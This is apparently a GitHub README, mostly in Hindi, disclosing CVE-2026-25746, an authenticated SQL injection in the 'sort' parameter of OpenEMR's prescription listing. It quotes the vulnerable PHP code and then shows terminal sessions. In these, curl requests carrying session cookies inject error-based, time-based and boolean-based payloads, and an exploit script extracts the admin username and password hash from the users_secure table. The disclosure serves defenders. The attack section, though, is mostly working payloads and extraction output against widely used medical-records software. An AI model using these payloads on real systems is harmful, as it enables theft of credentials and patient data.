
CVE-2026-25746 - SQL Injection Vulnerability in OpenEMR <8.0.0
कमज़ोरी CWE-89
SQL कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण ('SQL Injection') उत्पाद किसी अपस्ट्रीम घटक से बाह्य रूप से प्रभावित इनपुट का उपयोग करके SQL कमांड का पूर्ण या आंशिक निर्माण करता है, लेकिन यह उन विशेष तत्वों को निष्प्रभावी नहीं करता या गलत तरीके से निष्प्रभावी करता है जो डाउनस्ट्रीम घटक को भेजे जाने पर इच्छित SQL कमांड को संशोधित कर सकते हैं। उपयोगकर्ता-नियंत्रणीय इनपुट में SQL सिंटैक्स को पर्याप्त रूप से हटाए या कोट किए बिना, उत्पन्न SQL क्वेरी उन इनपुट को सामान्य उपयोगकर्ता डेटा के बजाय SQL के रूप में व्याख्यायित कर सकती है। MITRE पर अधिक जानें।
OpenEMR <8.0.0 में प्रिस्क्रिप्शन में एक SQL इंजेक्शन भेद्यता मौजूद है जिसका प्रमाणित हमलावर शोषण कर सकते हैं। यह भेद्यता प्रिस्क्रिप्शन सूचीकरण कार्यक्षमता में अपर्याप्त इनपुट सत्यापन के कारण मौजूद है।
यह भेद्यता प्रिस्क्रिप्शन सूचीकरण कार्यक्षमता में होती है, जहाँ sort पैरामीटर में उपयोगकर्ता-आपूर्ति किया गया इनपुट उचित सैनिटाइज़ेशन के बिना सीधे SQL क्वेरी में जोड़ दिया जाता है। यह हमलावरों को दुर्भावनापूर्ण SQL कोड इंजेक्ट करने की अनुमति देता है।
यह भेद्यता निम्नलिखित फ़ाइलों को प्रभावित करती है:
\openemr\library\classes\Prescription.class.php लाइन 1148 prescriptions_factory फ़ंक्शन में\controllers\C_Prescription.class.php लाइन 180 list_action फ़ंक्शन में\openemr\controller.php लाइन 6URL पथ से कॉल की गई कंट्रोलर फ़ाइल
$controller = new Controller();
echo $controller->act($_GET);
$args = array_reverse(array_keys($qarray));
$c_name = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
$c_action = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
$obj_name = "C_" . $c_name;
$c_obj = new $obj_name();
...
foreach ($args as $arg) {
$arg = preg_replace("/[^A-Za-z0-9_]/", "", (string) $arg);
if (empty($qarray[$arg]) && $qarray[$arg] != "0") {
$args_array[] = null;
} else {
$args_array[] = $qarray[$arg];
}
}
...
if (is_callable([&$c_obj, $c_action . "_action"]) && method_exists($c_obj, $c_action . "_action")) {
$output .= $c_obj->{$c_action . "_action"}(...$args_array);
}
C_Prescription की list_action विधि
function list_action($id, $sort = "", $printPrescriptionId = null)
{
if (empty($id)) {
$this->function_argument_error();
exit;
}
if (!empty($sort)) {
$this->assign("prescriptions", Prescription::prescriptions_factory($id, $sort));
}
Prescription की prescriptions_factory विधि में भेद्यता
static function prescriptions_factory(
$patient_id,
$order_by = "active DESC, date_modified DESC, date_added DESC"
) {
$prescriptions = [];
$p = new Prescription();
$sql = "SELECT id FROM " . escape_table_name($p->_table) . " WHERE patient_id = ? " .
"ORDER BY " . add_escape_custom($order_by);
$results = sqlQ($sql, [$patient_id]);
while ($row = sqlFetchArray($results)) {
$prescriptions[] = new Prescription($row['id']);
}
return $prescriptions;
}
if ((array_key_first($qarray) ?? '') == 'prescription') {
if (!AclMain::aclCheckCore('patients', 'rx')) {
echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Prescriptions")]);
exit;
}
}
patients पर ACL rx आवश्यक है, ये मानक अनुमतियाँ हैं, उन्नत विशेषाधिकार नहीं।
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY <injection>
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort="'
SQL Statement failed on preparation: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \"'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \"</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/library/classes/Prescription.class.php at 1149:sqlQ<br />/var/www/localhost/htdocs/openemr/controllers/C_Prescription.class.php at 180:prescriptions_factory(1,")<br />/var/www/localhost/htdocs/openemr/library/classes/Controller.class.php at 157:list_action(1,")<br />/var/www/localhost/htdocs/openemr/controller.php at 6:act(Array)
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%201)'
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20SLEEP(5))'
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=5d884df35b6ff2fddf12d83da5095ae8" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20((ASCII(SUBSTRING(username,1,1))%20DIV%20128)MOD%202)%20FROM%20users%20LIMIT%201)'
इसका शोषण करने के लिए कई तकनीकें हैं; उनमें से एक बूलियन-आधारित हमला है, जो अंतिम पेलोड का उपयोग करके काम करता है:
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY (SELECT ((ASCII(SUBSTRING(username,1,1)) DIV 64)MOD 2) FROM users LIMIT 1)
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py 172.18.0.3 b2b9f1cc76b47f8f13cc1f707baa0a64 users_secure --columns username password password_history1 password_history2 password_history3 password_history4
[+] Using patient_id=1
[+] Reference checksum (1): 604da4e5e2149a31fc68530bad701666942f600f
[+] Reference checksum (0): 66cfdfc2ad847a919672c75651b43749e1a5f38c
[#] Row count for table: users_secure 1
[#] String length: users_secure.username 0 5
[>] Character recovered: a
[>] Character recovered: d
[>] Character recovered: m
[>] Character recovered: i
[>] Character recovered: n
[+] Extracted string: ascii users_secure username 0 admin
[#] String length: users_secure.password 0 60
[>] Character recovered: $
[>] Character recovered: 2
[>] Character recovered: y
[>] Character recovered: $
[>] Character recovered: 1
[>] Character recovered: 2
[>] Character recovered: $
[>] Character recovered: g
[>] Character recovered: 4
[>] Character recovered: T
[>] Character recovered: y
[>] Character recovered: s
[>] Character recovered: 1
[>] Character recovered: l
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: f
[>] Character recovered: t
[>] Character recovered: B
[>] Character recovered: I
[>] Character recovered: u
[>] Character recovered: x
[>] Character recovered: y
[>] Character recovered: w
[>] Character recovered: o
[>] Character recovered: 5
[>] Character recovered: L
[>] Character recovered: z
[>] Character recovered: e
[>] Character recovered: V
[>] Character recovered: 7
[>] Character recovered: W
[>] Character recovered: 7
[>] Character recovered: a
[>] Character recovered: L
[>] Character recovered: B
[>] Character recovered: z
[>] Character recovered: O
[>] Character recovered: X
[>] Character recovered: g
[>] Character recovered: a
[>] Character recovered: C
[>] Character recovered: g
[>] Character recovered: U
[>] Character recovered: e
[>] Character recovered: v
[>] Character recovered: Z
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: Y
[>] Character recovered: Q
[>] Character recovered: a
[>] Character recovered: X
[>] Character recovered: 0
[>] Character recovered: c
[>] Character recovered: y
[>] Character recovered: c
[>] Character recovered: 2
[>] Character recovered: i
[>] Character recovered: O
[+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO
[#] String length: users_secure.password_history1 0 0
[#] String length: users_secure.password_history2 0 0
[#] String length: users_secure.password_history3 0 0
[#] String length: users_secure.password_history4 0 0
┌──(kali㉿kali)-[~]
└─$
https://www.cve.org/CVERecord?id=CVE-2026-25746
यह परियोजना MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है – विवरण के लिए LICENSE फ़ाइल देखें।
कृपया हमारे पेपर को उद्धृत करें: https://github.com/ChrisSub08/CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4